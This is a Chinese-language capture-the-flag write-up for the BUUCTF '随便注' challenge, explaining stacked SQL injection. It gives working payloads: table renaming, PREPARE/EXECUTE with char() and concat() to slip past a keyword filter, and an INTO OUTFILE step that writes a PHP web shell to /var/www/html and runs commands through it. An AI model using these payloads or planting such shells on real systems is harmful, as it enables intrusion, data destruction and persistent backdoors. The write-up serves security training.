BUUCTF-Web-隨便注(三種解題思路)

知識點:SQL注入-堆疊注入,sql預(yù)處理語句,巧用contact()函數(shù)繞過

堆疊注入原理:

在SQL中,分號(;)是用來表示一條sql語句的結(jié)束稻轨。試想一下我們在分號(;)結(jié)束一個sql語句后繼續(xù)構(gòu)造下一條語句,會不會一起執(zhí)行蜈敢?因此這個想法也就造就了堆疊注入辜荠。而union injection(聯(lián)合注入)也是將兩條語句合并在一起,兩者之間有什么區(qū)別么抓狭?區(qū)別就在于union 或者union all執(zhí)行的語句類型是有限的伯病,可以用來執(zhí)行查詢語句,而堆疊注入可以執(zhí)行的是任意的語句否过。例如以下這個例子午笛。
用戶輸入:1; DELETE FROM products
服務(wù)器端生成的sql語句為:(因未對輸入的參數(shù)進行過濾)Select * from products where productid=1;DELETE FROM products
當執(zhí)行查詢后,第一條顯示查詢信息苗桂,第二條則將整個表進行刪除

方法一:重命名+堆疊注入

打開題目药磺,顯示如下界面,觀察后猜測是sql注入

image

0x01:判斷是否存在注入煤伟,注入是字符型還是數(shù)字型
輸入1'發(fā)現(xiàn)不回顯
輸入1' #顯示正常
應(yīng)該是存在sql注入了

輸入1' or '1'='1,正嘲┡澹回顯,應(yīng)該是字符型

image

0x02:猜解SQL查詢語句中的字段數(shù)
輸入1' order by 1 # 成功回顯
image

輸入1' order by 2 # 成功回顯
image

輸入1' order by 3 # 回顯錯誤
[圖片上傳失敗...(image-2ea278-1567002658869)]
所以只有兩個字段
0x03:顯示字段
輸入1′ union select 1,2 # 回顯一個正則過濾規(guī)則
image

過濾了 select便锨,update围辙,delete,drop鸿秆,insert酌畜,where 和 點

過濾了這么多詞,是不是有堆疊注入卿叽?嘗試堆疊注入
0x04:查詢數(shù)據(jù)庫
輸入1';show databases;# 成功回顯

image

說明存在堆疊注入
0x05:查詢表
輸入1';show tables;# 成功回顯
image

得到兩個表words1919810931114514
0x06:查詢表中字段
坑點:mysql中點引號( ' )和反勾號( ` )的區(qū)別

linux下不區(qū)分桥胞,windows下區(qū)分
區(qū)別:
單引號( ' )或雙引號主要用于字符串的引用符號
eg:mysql> SELECT 'hello', "hello" ;

反勾號( ` )主要用于數(shù)據(jù)庫、表考婴、索引贩虾、列和別名用的引用符是[Esc下面的鍵]
eg:`mysql>SELECT * FROM   `table`   WHERE `from` = 'abc' ;

輸入1'; show columns from `words`; # 字段使用的是反勾號( ` )

image

輸入1'; show columns from `1919810931114514`; # 字段使用的是反勾號( ` )

image

可以看到1919810931114514中有我們想要的flag字段
現(xiàn)在常規(guī)方法基本就結(jié)束了,要想獲得flag就必須來點騷姿勢了
因為這里有兩張表沥阱,回顯內(nèi)容肯定是從word這張表中回顯的缎罢,那我們怎么才能讓它回顯flag所在的表呢
內(nèi)部查詢語句類似 :select id, data from word where id =

他既然沒過濾 alert 和 rename,那么我們是不是可以把表改個名字考杉,再給列改個名字呢策精。
先把 words 改名為 words1,再把這個數(shù)字表改名為 words崇棠,然后把新的 words 里的 flag 列改為 id (避免一開始無法查詢)咽袜。
payload:
1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#

image

接著輸入1' or '1'='1 #,查詢就得到flag
image

方法二:預(yù)處理語句+堆疊注入

預(yù)處理語句使用方式:

PREPARE name from '[my sql sequece]';   //預(yù)定義SQL語句
EXECUTE name;  //執(zhí)行預(yù)定義SQL語句
(DEALLOCATE || DROP) PREPARE name;  //刪除預(yù)定義SQL語句

預(yù)定義語句也可以通過變量進行傳遞:

SET @tn = 'hahaha';  //存儲表名
SET @sql = concat('select * from ', @tn);  //存儲SQL語句
PREPARE name from @sql;   //預(yù)定義SQL語句
EXECUTE name;  //執(zhí)行預(yù)定義SQL語句
(DEALLOCATE || DROP) PREPARE sqla;  //刪除預(yù)定義SQL語句

本題即可利用char()方法將ASCII碼轉(zhuǎn)換為SELECT字符串,接著利用concat()方法進行拼接獲得查詢的SQL語句枕稀,來繞過過濾或者直接使用concat()方法繞過

char()根據(jù)ASCII表返回給定整數(shù)值的字符值
eg:
mysql> SELECT CHAR(77,121,83,81,'76');
-> 'MySQL'

contact()函數(shù)用于將多個字符串連接成一個字符串
contact (str1,str2,…) 
eg:
mysql> SELECT CONCAT('My', 'S', 'QL');
-> 'MySQL'

char(115,101,108,101,99,116)<----->'select'
payload1:不使用變量
1';PREPARE jwt from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE jwt;#
輸入payload1直接得到flag

image

payload2:使用變量
1';SET @sql=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE jwt from @sql;EXECUTE jwt;#

輸入payload2直接得到flag

image

payload3:只是用contact(),不使用char()
1';PREPARE jwt from concat('s','elect', ' * from `1919810931114514` ');EXECUTE jwt;#
image

方法三:利用命令執(zhí)行Getflag

查詢了一下用戶竟然是root

1';Set @sql=concat("s","elect user()");PREPARE sqla from @sql;EXECUTE sqla;
image

那么寫個執(zhí)行命令的shell吧(絕對路徑猜的,一般是服務(wù)器網(wǎng)站根目錄/var/www/html)

1';Set @sql=concat("s","elect '<?php @print_r(`$_GET[1]`);?>' into outfile '/var/www/html/1",char(46),"php'");PREPARE sqla from @sql;EXECUTE sqla;

利用char(46)<==>.從而繞過關(guān)鍵詞.過濾

Mysql into outfile語句询刹,可以方便導(dǎo)出表格的數(shù)據(jù)谜嫉。同樣也可以生成某些文件。因此有些人會利用sql注入生成特定代碼的文件凹联,然后執(zhí)行這些文件沐兰。將會造成嚴重的后果。
Mysql into outfile 生成PHP文件
SELECT 0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E into outfile '/var/www/html/fuck.php'
最后會在/var/www/html/路徑下蔽挠, 生成fuck.php文件
這里不走尋常路住闯,執(zhí)行打算利用我們的shell查詢flag(賬號密碼直接讀取首頁就可以看到)

利用一句話木馬執(zhí)行任意mysql命令(雙引號中的內(nèi)容會被當做shell命令執(zhí)行然后結(jié)果再傳回來執(zhí)行)
uroot:用戶名root proot:密碼root

/1.php?1=mysql -uroot -proot -e "use supersqli;select flag from \`1919810931114514\`;"

image

參考
SQL注入-堆疊注入
SQL Injection8(堆疊注入)——強網(wǎng)杯2019隨便注
[Writeup]BUUCTF_Web_隨便注
MySQL的SQL預(yù)處理(Prepared)
利用Mysql into outfile給網(wǎng)站留后門
shell處理mysql增、刪象泵、改寞秃、查

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市偶惠,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌朗涩,老刑警劉巖忽孽,帶你破解...
    沈念sama閱讀 218,607評論 6 507
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異谢床,居然都是意外死亡兄一,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,239評論 3 395
  • 文/潘曉璐 我一進店門识腿,熙熙樓的掌柜王于貴愁眉苦臉地迎上來出革,“玉大人,你說我怎么就攤上這事渡讼÷钍” “怎么了?”我有些...
    開封第一講書人閱讀 164,960評論 0 355
  • 文/不壞的土叔 我叫張陵成箫,是天一觀的道長展箱。 經(jīng)常有香客問我,道長蹬昌,這世上最難降的妖魔是什么混驰? 我笑而不...
    開封第一講書人閱讀 58,750評論 1 294
  • 正文 為了忘掉前任,我火速辦了婚禮皂贩,結(jié)果婚禮上栖榨,老公的妹妹穿的比我還像新娘。我一直安慰自己明刷,他們只是感情好婴栽,可當我...
    茶點故事閱讀 67,764評論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著遮精,像睡著了一般居夹。 火紅的嫁衣襯著肌膚如雪败潦。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,604評論 1 305
  • 那天准脂,我揣著相機與錄音劫扒,去河邊找鬼。 笑死狸膏,一個胖子當著我的面吹牛沟饥,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播湾戳,決...
    沈念sama閱讀 40,347評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼贤旷,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了砾脑?” 一聲冷哼從身側(cè)響起幼驶,我...
    開封第一講書人閱讀 39,253評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎韧衣,沒想到半個月后盅藻,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,702評論 1 315
  • 正文 獨居荒郊野嶺守林人離奇死亡畅铭,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,893評論 3 336
  • 正文 我和宋清朗相戀三年氏淑,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片硕噩。...
    茶點故事閱讀 40,015評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡假残,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出炉擅,到底是詐尸還是另有隱情辉懒,我是刑警寧澤,帶...
    沈念sama閱讀 35,734評論 5 346
  • 正文 年R本政府宣布坑资,位于F島的核電站耗帕,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏袱贮。R本人自食惡果不足惜仿便,卻給世界環(huán)境...
    茶點故事閱讀 41,352評論 3 330
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望攒巍。 院中可真熱鬧嗽仪,春花似錦、人聲如沸柒莉。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,934評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽兢孝。三九已至窿凤,卻和暖如春仅偎,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背雳殊。 一陣腳步聲響...
    開封第一講書人閱讀 33,052評論 1 270
  • 我被黑心中介騙來泰國打工橘沥, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人夯秃。 一個月前我還...
    沈念sama閱讀 48,216評論 3 371
  • 正文 我出身青樓座咆,卻偏偏與公主長得像,于是被迫代替她去往敵國和親仓洼。 傳聞我的和親對象是個殘疾皇子介陶,可洞房花燭夜當晚...
    茶點故事閱讀 44,969評論 2 355

推薦閱讀更多精彩內(nèi)容

  • sqlmap用戶手冊 說明:本文為轉(zhuǎn)載,對原文中一些明顯的拼寫錯誤進行修正色建,并標注對自己有用的信息。 ======...
    wind_飄閱讀 2,051評論 0 5
  • 一. Java基礎(chǔ)部分.................................................
    wy_sure閱讀 3,811評論 0 11
  • 一镀岛、Python簡介和環(huán)境搭建以及pip的安裝 4課時實驗課主要內(nèi)容 【Python簡介】: Python 是一個...
    _小老虎_閱讀 5,746評論 0 10
  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 當給sq...
    xuningbo閱讀 10,314評論 2 22
  • 優(yōu)秀這個詞對于我來說實在是太陌生了漂羊,因為從小到大我無論如何努力都感覺與優(yōu)秀無緣,對此我也迷茫了很久卸留,我以前也問自...
    高冷的水蒸氣閱讀 182評論 0 0